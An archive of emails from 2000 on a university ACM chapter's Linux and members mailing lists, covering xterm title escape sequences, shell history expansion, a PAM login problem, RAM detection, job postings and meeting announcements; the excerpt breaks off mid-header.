mercea.net (localhost.mercea.net [127.0.0.1]) by mercea.net (Postfix) with ESMTP id D71B726269 for ; Sun, 6 Aug 2000 20:21:54 -0400 (EDT) X-Mailer: exmh version 2.1.2 06/07/2000 X-url: http://www.acm.jhu.edu/~slipcon/ X-image-url: http://www.acm.jhu.edu/~slipcon/images/scott.jpg From: Scott Lipcon To: linux@acm.jhu.edu Subject: Re: [Linux] term window label In-Reply-To: Your message of "Sun, 06 Aug 2000 20:03:03 EDT." Mime-Version: 1.0 Date: Sun, 06 Aug 2000 20:21:54 -0400 Message-Id: <20000807002154.D71B726269@mercea.net> Sender: linux-admin@acm.jhu.edu Errors-To: linux-admin@acm.jhu.edu X-BeenThere: linux@acm.jhu.edu X-Mailman-Version: 2.0beta2 Precedence: bulk Reply-To: linux@acm.jhu.edu List-Id: The JHU ACM Linux discussion and help list Content-Type: text/plain; charset=us-ascii Status: RO Content-Length: 2995 Lines: 91 Its a redhat 6.2 thing on chimera, in /etc/bashrc: case $TERM in xterm*) PROMPT_COMMAND='echo -ne "\033]0;${USER}@${HOSTNAME}: ${PWD}\007"' ;; Apparently, PROMPT_COMMAND is a bash environment variable that gets executed before each prompt. The magic is done with xterm escape sequences. I have my shell set up like the following (its for zsh, the same could be done for any shell, but I'm not sure of the syntax) export SHORTHOST="`echo $(hostname) | cut -d. -f1`" if [[ $TERM == "xterm" ]]; then settitle() { echo -ne "\033]0;$*\007" } else settitle() { } fi if [[ $TERM == "xterm" ]]; then settitle $SHORTHOST fi This creates a function called settitle which either sets the title of the xterm, or does nothing. It sets the title to the hostname on login. I then have a series of functions similar to the following: ssh() { settitle "xterm" command ssh $* settitle $SHORTHOST } which redefines the ssh command to set the title back to xterm, then execute the real ssh command. When the ssh connection drops, it sets the title back to the hostname. I could have simply relied on my zsh init scripts to set the title to the hostname of the new host, but I found that it was confusing, especially when I ssh'ed places where my config files weren't the same, or if I ssh'ed as root, or if a friend ssh'ed to their account, etc. Scott > hi, does anyone know how to change the window label of a terminal once you > open it. so what i mean is like this: > - i open up a xterm (in my case aterm) on my machine, the title is set to > what i have in the command i call (in my case just the string 'local') > - ssh to chimera > - the title of the window changes to "user@host: current_working_dir" > - if i chdir the title updates appropriately > > now what it seems to me that it might be is: > - perhaps ssh has as its information abuot itself for the terminal window > this information about the user and host. in the man page for aterm it > seems that when using -e to execute the title (as well as icon) are gotten > from the program run. therefore the answer may lie in how to do the same > thing ssh is doing to name the window title > - something in login scripts for bash or any shell sets the variables and > handles the changes at every change of directory > > jhunix has the same thing but i can't make out what its doing. though i > got some hints from /etc/profile where its using a shell script called > label_window. i dont see chimera doing something similar. > > thanks (i'm guessing whoever setup this on chimera might know, if someone > even did it in the first place) > > -- > -tahir > > _______________________________________________ > Linux maillist - Linux@acm.jhu.edu > http://www.acm.jhu.edu/mailman/listinfo/linux > > _______________________________________________ Linux maillist - Linux@acm.jhu.edu http://www.acm.jhu.edu/mailman/listinfo/linux >From linux-admin@acm.jhu.edu Sun Aug 6 21:05 EDT 2000 Received: from chimera.acm.jhu.edu (IDENT:root@chimera.acm.jhu.edu [128.220.223.63]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id VAA05297 for ; Sun, 6 Aug 2000 21:05:31 -0400 (EDT) Received: from chimera.acm.jhu.edu (IDENT:mail@localhost [127.0.0.1]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id VAA19753; Sun, 6 Aug 2000 21:05:23 -0400 Received: from localhost (anorak@localhost) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id VAA19746 for ; Sun, 6 Aug 2000 21:05:21 -0400 Date: Sun, 6 Aug 2000 21:05:21 -0400 (EDT) From: Tahir To: linux@acm.jhu.edu Subject: Re: [Linux] History Expansion In-Reply-To: <20000807004942.A288A2626A@mercea.net> Message-ID: MIME-Version: 1.0 Sender: linux-admin@acm.jhu.edu Errors-To: linux-admin@acm.jhu.edu X-BeenThere: linux@acm.jhu.edu X-Mailman-Version: 2.0beta2 Precedence: bulk Reply-To: linux@acm.jhu.edu List-Id: The JHU ACM Linux discussion and help list Content-Type: TEXT/PLAIN; charset=US-ASCII Status: RO Content-Length: 2055 Lines: 67 okay well the way you described worked. i was using the number at my prompt. here is my prompt defn: PS1="\u@\h \# $ " the \# seems to be the events, as opposed to history so instead of having the persistent history i guess it just deals with whats been done in the terminal session (which is what i want). what i can do is just replace it with \!, or just refer to previous events... the following worked: anorak@nerv 1 $ date Sun Aug 6 21:07:31 EDT 2000 anorak@nerv 2 $ cd ~ anorak@nerv 3 $ pwd /home/anorak anorak@nerv 4 $ !-1 ; !-2 ; !-3 pwd ; cd ~ ; date /home/anorak Sun Aug 6 21:08:05 EDT 2000 i'm guessing i can write an alias to do that for me, like define 'repeat #' to do the last # commands. i'll look at that later. thx scott > in zsh: > > $ history | tail -3 > 19 uptime > 20 cd ~ > 21 pwd > $ !19 ; !20 ; !21 > uptime ; cd ~ ; pwd > 8:48pm up 7 days, 4:32, 14 users, load average: 0.04, 0.03, 0.00 > /home/slipcon > > same seems to work in bash. What shell are you using? > > Scott > > > Hi again, i wanted to know how to refer to some command in my history by > > its command number (which i've listed in my prompt with /#) > > so like i've tried `!`,`!#`, etc > > i can get it to work if i do `!-` but no > > other way... does anyonoe know how to do this? > > > > also is there a way to execute like the last 3 commands? if i can get the > > above problem working i can just do `;...`, but i > > wonder if this is built into a shell already... thanks > > > > -- > > -tahir > > > > _______________________________________________ > > Linux maillist - Linux@acm.jhu.edu > > http://www.acm.jhu.edu/mailman/listinfo/linux > > > > > > > _______________________________________________ > Linux maillist - Linux@acm.jhu.edu > http://www.acm.jhu.edu/mailman/listinfo/linux > -- -tahir _______________________________________________ Linux maillist - Linux@acm.jhu.edu http://www.acm.jhu.edu/mailman/listinfo/linux >From linux-admin@acm.jhu.edu Sun Aug 6 21:10 EDT 2000 Received: from chimera.acm.jhu.edu (IDENT:root@chimera.acm.jhu.edu [128.220.223.63]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id VAA05334 for ; Sun, 6 Aug 2000 21:10:01 -0400 (EDT) Received: from chimera.acm.jhu.edu (IDENT:mail@localhost [127.0.0.1]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id VAA19971; Sun, 6 Aug 2000 21:09:53 -0400 Received: from localhost (anorak@localhost) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id VAA19964 for ; Sun, 6 Aug 2000 21:09:51 -0400 Date: Sun, 6 Aug 2000 21:09:51 -0400 (EDT) From: Tahir To: linux@acm.jhu.edu Subject: Re: [Linux] History Expansion In-Reply-To: Message-ID: MIME-Version: 1.0 Sender: linux-admin@acm.jhu.edu Errors-To: linux-admin@acm.jhu.edu X-BeenThere: linux@acm.jhu.edu X-Mailman-Version: 2.0beta2 Precedence: bulk Reply-To: linux@acm.jhu.edu List-Id: The JHU ACM Linux discussion and help list Content-Type: TEXT/PLAIN; charset=US-ASCII Status: RO Content-Length: 345 Lines: 12 > anorak@nerv 4 $ !-1 ; !-2 ; !-3 actually a more intelligent route would be: `!-3;!-2;!-1` i just realized the previous one was resulting in not getting something done before another command started. -- -tahir _______________________________________________ Linux maillist - Linux@acm.jhu.edu http://www.acm.jhu.edu/mailman/listinfo/linux >From linux-admin@acm.jhu.edu Tue Sep 5 18:58 EDT 2000 Received: from chimera.acm.jhu.edu (IDENT:root@chimera.acm.jhu.edu [128.220.223.63]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id SAA04904 for ; Tue, 5 Sep 2000 18:58:36 -0400 (EDT) Received: from chimera.acm.jhu.edu (IDENT:mail@localhost [127.0.0.1]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id SAA16712; Tue, 5 Sep 2000 18:58:29 -0400 Received: from jhuml1.hcf.jhu.edu (jhuml1.hcf.jhu.edu [128.220.2.86]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id SAA16705 for ; Tue, 5 Sep 2000 18:58:27 -0400 Received: from conversion.jhmail.hcf.jhu.edu by jhmail.hcf.jhu.edu (PMDF V6.0-24 #40996) id <01JTTOWVRJPCG8DM4M@jhmail.hcf.jhu.edu> for linux@acm.jhu.edu; Tue, 05 Sep 2000 18:58:13 -0400 (EDT) Received: from chow.mat.jhu.edu (chow.mat.jhu.edu [128.220.25.2]) by jhmail.hcf.jhu.edu (PMDF V6.0-24 #40996) with ESMTP id <01JTTOWTTW7UG5XIGJ@jhmail.hcf.jhu.edu> for linux@acm.jhu.edu; Tue, 05 Sep 2000 18:58:10 -0400 (EDT) Received: from localhost (cralston@localhost) by chow.mat.jhu.edu (8.9.1/8.9.1) with SMTP id SAA24683 for ; Tue, 05 Sep 2000 18:58:17 -0400 (EDT) Date: Tue, 05 Sep 2000 18:58:16 -0400 (EDT) From: Chris Ralston To: linux@acm.jhu.edu Message-id: MIME-version: 1.0 Subject: [Linux] /(geek/)+ needed Sender: linux-admin@acm.jhu.edu Errors-To: linux-admin@acm.jhu.edu X-BeenThere: linux@acm.jhu.edu X-Mailman-Version: 2.0beta2 Precedence: bulk Reply-To: linux@acm.jhu.edu List-Id: The JHU ACM Linux discussion and help list Content-Type: TEXT/PLAIN; charset=US-ASCII Content-Length: 1084 Lines: 28 Hey, folks, I'm in need of a hacker/beta tester (or several) for a project I'm working on outside of school. Money will probably be involved, or at least I hope so -- but no promises. What can you expect for just a couple hours a week? The ideal candidate(s) will be fluent in SQL (we're using postgres) and familiar with Java and Perl. You should be comfortable with poking RADIUS, DNS, web and mail servers to make sure they're working (err.. "working correctly"). A big plus would be if you recognize what we're building based solely on this description. :) Hopefully you've got two or more spare [Open,Free,Net]BSD and/or Linux boxen around, but anything POSIX-y should do. An appreciation for the art of being a geek and a strong desire to take over the world are required. Oh, that and your signature on an NDA. For more info, drop me an email: cralston@math.jhu.edu. -Chris -- Rest assured that in 'normal' cases, things are nice. _______________________________________________ Linux maillist - Linux@acm.jhu.edu http://www.acm.jhu.edu/mailman/listinfo/linux >From members-admin@acm.jhu.edu Wed Sep 13 09:09 EDT 2000 Received: from chimera.acm.jhu.edu (IDENT:root@chimera.acm.jhu.edu [128.220.223.63]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id JAA13569; Wed, 13 Sep 2000 09:06:39 -0400 (EDT) Received: from chimera.acm.jhu.edu (IDENT:nobody@localhost [127.0.0.1]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id JAA15330; Wed, 13 Sep 2000 09:06:33 -0400 Received: from localhost (jmuhlich@localhost) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id DAA11964 for ; Wed, 13 Sep 2000 03:17:55 -0400 Date: Wed, 13 Sep 2000 03:17:55 -0400 (EDT) From: Jeremy Muhlich To: members@acm.jhu.edu Message-ID: MIME-Version: 1.0 Subject: [Members] meetings Sender: members-admin@acm.jhu.edu Errors-To: members-admin@acm.jhu.edu X-BeenThere: members@acm.jhu.edu X-Mailman-Version: 2.0beta2 Precedence: bulk List-Id: The JHU Members list Content-Type: TEXT/PLAIN; charset=US-ASCII Content-Length: 508 Lines: 18 Hello everyone, Welcome back! I hope this semester has started off well for everyone. Our weekly meetings will begin this Thursday, the 14th. I still haven't gotten a confirmation on our room schedule, but I'm going to assume it's all OK. The time and place for meetings will be: Thursdays 5:00PM to 6:00PM in Shaffer 301 Hope to see you all there! -- Jeremy _______________________________________________ Members maillist - Members@acm.jhu.edu http://www.acm.jhu.edu/mailman/listinfo/members >From members-admin@acm.jhu.edu Thu Sep 14 18:18 EDT 2000 Received: from chimera.acm.jhu.edu (IDENT:root@chimera.acm.jhu.edu [128.220.223.63]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id SAA01226; Thu, 14 Sep 2000 18:16:20 -0400 (EDT) Received: from chimera.acm.jhu.edu (IDENT:nobody@localhost [127.0.0.1]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id SAA10093; Thu, 14 Sep 2000 18:16:13 -0400 Received: from ace.fdntech.com (IDENT:root@cd-176-100.ra30.dc.capu.net [64.50.176.100]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id SAA09981 for ; Thu, 14 Sep 2000 18:11:52 -0400 Received: from localhost (luke@localhost) by ace.fdntech.com (8.11.0/8.11.0) with ESMTP id e8EMFI414312 for ; Thu, 14 Sep 2000 18:15:18 -0400 Date: Thu, 14 Sep 2000 18:15:18 -0400 (EDT) From: Luke Petre X-Sender: luke@ace.fdntech.com To: members@acm.jhu.edu Message-ID: MIME-Version: 1.0 Subject: [Members] Perl Programmer Sender: members-admin@acm.jhu.edu Errors-To: members-admin@acm.jhu.edu X-BeenThere: members@acm.jhu.edu X-Mailman-Version: 2.0beta2 Precedence: bulk List-Id: The JHU Members list Content-Type: TEXT/PLAIN; charset=US-ASCII Content-Length: 592 Lines: 15 I've been working in the JHU Controller's Office all summer, and my boss asked me to ask ask around for more student help, so here it goes. If you're going to be at JHU for a few more years, and you like to code perl, and you know solaris, AND you know oracle, AND if you want a part time job, drop me an email. You'd be helping to admin a brand new Sun E250 server and working on the university's web-based time-sheet system (Perl & Oracle). Luke _______________________________________________ Members maillist - Members@acm.jhu.edu http://www.acm.jhu.edu/mailman/listinfo/members >From linux-admin@acm.jhu.edu Fri Sep 15 23:54 EDT 2000 Received: from chimera.acm.jhu.edu (IDENT:root@chimera.acm.jhu.edu [128.220.223.63]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id XAA20431 for ; Fri, 15 Sep 2000 23:54:01 -0400 (EDT) Received: from chimera.acm.jhu.edu (IDENT:mail@localhost [127.0.0.1]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id XAA00871; Fri, 15 Sep 2000 23:53:58 -0400 Received: from penguin.posm.net (dsl-1-107.capu.net [206.161.92.107]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id XAA00863 for ; Fri, 15 Sep 2000 23:53:56 -0400 Received: (from mike@localhost) by penguin.posm.net (8.9.3/8.8.7) id XAA03331 for linux@acm.jhu.edu; Fri, 15 Sep 2000 23:56:55 -0400 Date: Fri, 15 Sep 2000 23:56:55 -0400 From: Mike Grant To: linux@acm.jhu.edu Message-ID: <20000915235655.A2832@penguin.posm.net> Mime-Version: 1.0 X-Mailer: Mutt 1.0.1i Organization: Johns Hopkins University Subject: [Linux] Password Auth Trouble Sender: linux-admin@acm.jhu.edu Errors-To: linux-admin@acm.jhu.edu X-BeenThere: linux@acm.jhu.edu X-Mailman-Version: 2.0beta2 Precedence: bulk Reply-To: linux@acm.jhu.edu List-Id: The JHU ACM Linux discussion and help list Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="XsQoSWH+UP9D9v3l" Content-Length: 1275 Lines: 48 --XsQoSWH+UP9D9v3l Content-Type: text/plain; charset=us-ascii Somehow I managed to get my linux box to not accept logins from the terminal, or through telnet. I think this happened right after I built and installed ssh 2.3.0 (daemon and client). It just keeps saying 'Login incorrect'. I can ssh in to the box just fine. I use shadow passwords. The /etc/shadow file seems intact, and I made sure that it was updating when I changed my passwords around. Here is my pwdb.conf file: -------------------------------- user: unix+shadow nis+unix+shadow group: unix+shadow nis+unix+shadow -------------------------------- Any ideas what went wrong? I don't really even know much about configuring password authentification. I've always just left is as it is out of the box. Thanks. ~Mike --XsQoSWH+UP9D9v3l Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.2 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE5wu+GIqnsAUxQ82YRAd2mAKCn8Rhoo4Z6f7qfBjDt8LGqpPTBGACgv1Um u8F0aXkQLPPQ/hcU+G1JtG0= =JC5p -----END PGP SIGNATURE----- --XsQoSWH+UP9D9v3l-- _______________________________________________ Linux maillist - Linux@acm.jhu.edu http://www.acm.jhu.edu/mailman/listinfo/linux >From linux-admin@acm.jhu.edu Sat Sep 16 10:28 EDT 2000 Received: from chimera.acm.jhu.edu (IDENT:root@chimera.acm.jhu.edu [128.220.223.63]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id KAA06529 for ; Sat, 16 Sep 2000 10:28:29 -0400 (EDT) Received: from chimera.acm.jhu.edu (IDENT:mail@localhost [127.0.0.1]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id KAA06294; Sat, 16 Sep 2000 10:28:27 -0400 Received: from localhost (slipcon@localhost) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id KAA06287 for ; Sat, 16 Sep 2000 10:28:25 -0400 Date: Sat, 16 Sep 2000 10:28:25 -0400 (EDT) From: Scott Lipcon To: linux@acm.jhu.edu Subject: Re: [Linux] Password Auth Trouble In-Reply-To: <20000915235655.A2832@penguin.posm.net> Message-ID: MIME-Version: 1.0 Sender: linux-admin@acm.jhu.edu Errors-To: linux-admin@acm.jhu.edu X-BeenThere: linux@acm.jhu.edu X-Mailman-Version: 2.0beta2 Precedence: bulk Reply-To: linux@acm.jhu.edu List-Id: The JHU ACM Linux discussion and help list Content-Type: TEXT/PLAIN; charset=US-ASCII Content-Length: 1385 Lines: 45 Did you do anything to pam? check /etc/pam.d/login - if you have a redhat 6.2 system you could compare it to chimera's. Also, there is a utility on redhat systems called ckpw which checks the passwor files for corruption. BTW, maybe i'm out of it - whats ssh 2.3.0? I didn't realize it was that high. I've been using openssh everywhere, and I've been pretty impressed with it. Scott On Fri, 15 Sep 2000, Mike Grant wrote: > Somehow I managed to get my linux box to not accept logins from the > terminal, or through telnet. I think this happened right after I > built and installed ssh 2.3.0 (daemon and client). It just keeps > saying 'Login incorrect'. I can ssh in to the box just fine. > > I use shadow passwords. The /etc/shadow file seems intact, and I made > sure that it was updating when I changed my passwords around. Here is > my pwdb.conf file: > > -------------------------------- > user: > unix+shadow > nis+unix+shadow > > group: > unix+shadow > nis+unix+shadow > -------------------------------- > > Any ideas what went wrong? I don't really even know much about > configuring password authentification. I've always just left is as it > is out of the box. > > Thanks. > > ~Mike > > _______________________________________________ Linux maillist - Linux@acm.jhu.edu http://www.acm.jhu.edu/mailman/listinfo/linux >From tsi@hops.cs.jhu.edu Tue Sep 19 00:18 EDT 2000 Received: from localhost by hops.cs.jhu.edu (8.9.3/8.9.3) with SMTP id AAA21553 for ; Tue, 19 Sep 2000 00:18:11 -0400 (EDT) Date: Tue, 19 Sep 2000 00:18:11 -0400 (EDT) From: Christopher Ralston To: Ben Kram Subject: chsh hops Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Content-Length: 202 Lines: 6 Hey, I noticed your shell on hops is bash... but I can't find chsh/chfn or anything of the sort. Is there a sun-specific prog that does the same, or do I need to email root to get it changed? -Chris >From members-admin@acm.jhu.edu Thu Sep 21 13:14 EDT 2000 Received: from chimera.acm.jhu.edu (IDENT:root@chimera.acm.jhu.edu [128.220.223.63]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id NAA12068; Thu, 21 Sep 2000 13:12:34 -0400 (EDT) Received: from chimera.acm.jhu.edu (IDENT:nobody@localhost [127.0.0.1]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id NAA10400; Thu, 21 Sep 2000 13:12:23 -0400 Received: from localhost (jmuhlich@localhost) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id NAA24206 for ; Wed, 20 Sep 2000 13:49:02 -0400 Date: Wed, 20 Sep 2000 13:49:02 -0400 (EDT) From: Jeremy Muhlich To: members@acm.jhu.edu Message-ID: MIME-Version: 1.0 Subject: [Members] This week's ACM meeting Sender: members-admin@acm.jhu.edu Errors-To: members-admin@acm.jhu.edu X-BeenThere: members@acm.jhu.edu X-Mailman-Version: 2.0beta2 Precedence: bulk List-Id: The JHU Members list Content-Type: TEXT/PLAIN; charset=US-ASCII Content-Length: 690 Lines: 20 Hello everyone, First, here's the time and location of our meetings, for those of you who just signed up for this mailing list at the SAC fair last week: every Thursday at 5:00 PM in Shaffer 301 This week we'll be doing a peer teaching session on unix basics, for the benefit of everyone who just got a unix account from the CS department but has no idea how to use it. We should also have a number of guests in attendance from the CS department's Intro to CS class, so you might want to come early if you want a (good?) seat. -- Jeremy _______________________________________________ Members maillist - Members@acm.jhu.edu http://www.acm.jhu.edu/mailman/listinfo/members >From members-admin@acm.jhu.edu Thu Sep 21 13:14 EDT 2000 Received: from chimera.acm.jhu.edu (IDENT:root@chimera.acm.jhu.edu [128.220.223.63]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id NAA12075; Thu, 21 Sep 2000 13:12:36 -0400 (EDT) Received: from chimera.acm.jhu.edu (IDENT:nobody@localhost [127.0.0.1]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id NAA10405; Thu, 21 Sep 2000 13:12:26 -0400 Received: from localhost (jmuhlich@localhost) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id NAA24266 for ; Wed, 20 Sep 2000 13:54:12 -0400 Date: Wed, 20 Sep 2000 13:54:12 -0400 (EDT) From: Jeremy Muhlich To: members@acm.jhu.edu Message-ID: MIME-Version: 1.0 Subject: [Members] Programming Contest Sender: members-admin@acm.jhu.edu Errors-To: members-admin@acm.jhu.edu X-BeenThere: members@acm.jhu.edu X-Mailman-Version: 2.0beta2 Precedence: bulk List-Id: The JHU Members list Content-Type: TEXT/PLAIN; charset=US-ASCII Content-Length: 376 Lines: 14 Here's the date for the regional contest (the one after our local Hopkins-only contest): November 11, 2000 The local contest will be a weekend, probably a Saturday, in early to mid October, exact date not yet determined. -- Jeremy _______________________________________________ Members maillist - Members@acm.jhu.edu http://www.acm.jhu.edu/mailman/listinfo/members >From members-admin@acm.jhu.edu Tue Sep 26 16:26 EDT 2000 Received: from chimera.acm.jhu.edu (IDENT:root@chimera.acm.jhu.edu [128.220.223.63]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id QAA04230; Tue, 26 Sep 2000 16:24:28 -0400 (EDT) Received: from chimera.acm.jhu.edu (IDENT:mail@localhost [127.0.0.1]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id QAA06853; Tue, 26 Sep 2000 16:24:14 -0400 Received: from localhost (jmuhlich@localhost) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id QAA06847 for ; Tue, 26 Sep 2000 16:24:11 -0400 Date: Tue, 26 Sep 2000 16:24:11 -0400 (EDT) From: Jeremy Muhlich To: members@acm.jhu.edu Message-ID: MIME-Version: 1.0 Subject: [Members] meeting Sender: members-admin@acm.jhu.edu Errors-To: members-admin@acm.jhu.edu X-BeenThere: members@acm.jhu.edu X-Mailman-Version: 2.0beta2 Precedence: bulk List-Id: The JHU Members list Content-Type: TEXT/PLAIN; charset=US-ASCII Content-Length: 1202 Lines: 32 Hello everyone, I hope everything is well with all of you. Our meeting this week will be a peer-teaching session on Procmail. Procmail can separate your incoming email into multiple mailboxes. So if you use pine, you can have a different mailbox for general email, class-related email, mailing lists, etc. This makes it much easier to sort through the mountains of email you might get, so you don't miss that important email from your professor. Again, for those of you who are just joining us or may have forgotten, the meeting time and place is: Thursday September 28 Shaffer 301 On an unrelated note: If you wish to remove yourself from this mailing list (I can't imagine why... :) you can go to this webpage: http://www.acm.jhu.edu/mailman/listinfo/members Enter your email in the field at the very bottom and click the "Edit Options" button. Enter your list password in the "Unsubscribing from Members" section and click the Unsubscribe button. If you forgot your list password, just click the "Email my password to me" button. -- Jeremy _______________________________________________ Members maillist - Members@acm.jhu.edu http://www.acm.jhu.edu/mailman/listinfo/members >From members-admin@acm.jhu.edu Tue Sep 26 16:38 EDT 2000 Received: from chimera.acm.jhu.edu (IDENT:root@chimera.acm.jhu.edu [128.220.223.63]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id QAA04605; Tue, 26 Sep 2000 16:37:33 -0400 (EDT) Received: from chimera.acm.jhu.edu (IDENT:mail@localhost [127.0.0.1]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id QAA07279; Tue, 26 Sep 2000 16:37:22 -0400 Received: from localhost (jmuhlich@localhost) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id QAA07273 for ; Tue, 26 Sep 2000 16:37:19 -0400 Date: Tue, 26 Sep 2000 16:37:19 -0400 (EDT) From: Jeremy Muhlich To: members@acm.jhu.edu Message-ID: MIME-Version: 1.0 Subject: [Members] meeting - time! Sender: members-admin@acm.jhu.edu Errors-To: members-admin@acm.jhu.edu X-BeenThere: members@acm.jhu.edu X-Mailman-Version: 2.0beta2 Precedence: bulk List-Id: The JHU Members list Content-Type: TEXT/PLAIN; charset=US-ASCII Content-Length: 209 Lines: 8 Oops, forgot to mention the time. The meeting is at 5pm. -- Jeremy _______________________________________________ Members maillist - Members@acm.jhu.edu http://www.acm.jhu.edu/mailman/listinfo/members >From linux-admin@acm.jhu.edu Tue Sep 26 20:30 EDT 2000 Received: from chimera.acm.jhu.edu (IDENT:root@chimera.acm.jhu.edu [128.220.223.63]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id UAA09748 for ; Tue, 26 Sep 2000 20:30:19 -0400 (EDT) Received: from chimera.acm.jhu.edu (IDENT:mail@localhost [127.0.0.1]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id UAA10413; Tue, 26 Sep 2000 20:30:15 -0400 Received: from jhuml4.jhu.edu (jhuml4.jhu.edu [128.220.2.67]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id UAA10406 for ; Tue, 26 Sep 2000 20:30:12 -0400 Received: from CONVERSION-DAEMON.jhuml4.jhu.edu by jhuml4.jhu.edu (PMDF V6.0-24 #46858) id <0G1I00B01S2AB3@jhuml4.jhu.edu> for linux@acm.jhu.edu; Tue, 26 Sep 2000 20:30:10 -0400 (EDT) Received: from jhunix.hcf.jhu.edu (jhunix.hcf.jhu.edu [128.220.2.5]) by jhuml4.jhu.edu (PMDF V6.0-24 #46858) with ESMTP id <0G1I00B3NS2A5R@jhuml4.jhu.edu> for linux@acm.jhu.edu; Tue, 26 Sep 2000 20:30:10 -0400 (EDT) Received: from jhunix.hcf.jhu.edu (jhunix.hcf.jhu.edu [128.220.2.5]) by jhunix.hcf.jhu.edu (SGI-8.9.3/8.9.3) with ESMTP id UAA13557 for ; Tue, 26 Sep 2000 20:30:10 -0400 (EDT) Date: Tue, 26 Sep 2000 20:30:10 -0400 From: Michael P Fischer To: linux@acm.jhu.edu Message-id: MIME-version: 1.0 Subject: [Linux] 64 meg ram cap Sender: linux-admin@acm.jhu.edu Errors-To: linux-admin@acm.jhu.edu X-BeenThere: linux@acm.jhu.edu X-Mailman-Version: 2.0beta2 Precedence: bulk Reply-To: linux@acm.jhu.edu List-Id: The JHU ACM Linux discussion and help list Content-Type: TEXT/PLAIN; charset=US-ASCII Content-Length: 235 Lines: 8 I just installed RH 7. I have 256 RAM but it only recognizes 64... how do i fix this?? -Mike Fischer _______________________________________________ Linux maillist - Linux@acm.jhu.edu http://www.acm.jhu.edu/mailman/listinfo/linux >From linux-admin@acm.jhu.edu Tue Sep 26 20:34 EDT 2000 Received: from chimera.acm.jhu.edu (IDENT:root@chimera.acm.jhu.edu [128.220.223.63]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id UAA09814 for ; Tue, 26 Sep 2000 20:34:34 -0400 (EDT) Received: from chimera.acm.jhu.edu (IDENT:mail@localhost [127.0.0.1]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id UAA10561; Tue, 26 Sep 2000 20:34:33 -0400 Received: from jhuml2.hcf.jhu.edu (jhuml2.hcf.jhu.edu [128.220.2.87]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id UAA10553 for ; Tue, 26 Sep 2000 20:34:31 -0400 Received: from conversion.jhmail.hcf.jhu.edu by jhmail.hcf.jhu.edu (PMDF V6.0-24 #40996) id <01JUN4DZX4PSG8CNBW@jhmail.hcf.jhu.edu> for linux@acm.jhu.edu; Tue, 26 Sep 2000 20:34:05 -0400 (EDT) Received: from chow.mat.jhu.edu (chow.mat.jhu.edu [128.220.25.2]) by jhmail.hcf.jhu.edu (PMDF V6.0-24 #40996) with ESMTP id <01JUN4DZ3A3CG8DZ7M@jhmail.hcf.jhu.edu> for linux@acm.jhu.edu; Tue, 26 Sep 2000 20:34:04 -0400 (EDT) Received: from localhost (cralston@localhost) by chow.mat.jhu.edu (8.9.1/8.9.1) with SMTP id UAA13378 for ; Tue, 26 Sep 2000 20:34:13 -0400 (EDT) Date: Tue, 26 Sep 2000 20:34:13 -0400 (EDT) From: Chris Ralston Subject: Re: [Linux] 64 meg ram cap In-reply-to: To: linux@acm.jhu.edu Message-id: MIME-version: 1.0 Sender: linux-admin@acm.jhu.edu Errors-To: linux-admin@acm.jhu.edu X-BeenThere: linux@acm.jhu.edu X-Mailman-Version: 2.0beta2 Precedence: bulk Reply-To: linux@acm.jhu.edu List-Id: The JHU ACM Linux discussion and help list Content-Type: TEXT/PLAIN; charset=US-ASCII Content-Length: 562 Lines: 21 Take out 192mb and give it to me. You don't need it, anyway. -Chris -- Rest assured that in 'normal' cases, things are nice. On Tue, 26 Sep 2000, Michael P Fischer wrote: > I just installed RH 7. I have 256 RAM but it only recognizes 64... how do > i fix this?? > > -Mike Fischer > > _______________________________________________ > Linux maillist - Linux@acm.jhu.edu > http://www.acm.jhu.edu/mailman/listinfo/linux > _______________________________________________ Linux maillist - Linux@acm.jhu.edu http://www.acm.jhu.edu/mailman/listinfo/linux >From linux-admin@acm.jhu.edu Tue Sep 26 20:38 EDT 2000 Received: from chimera.acm.jhu.edu (IDENT:root@chimera.acm.jhu.edu 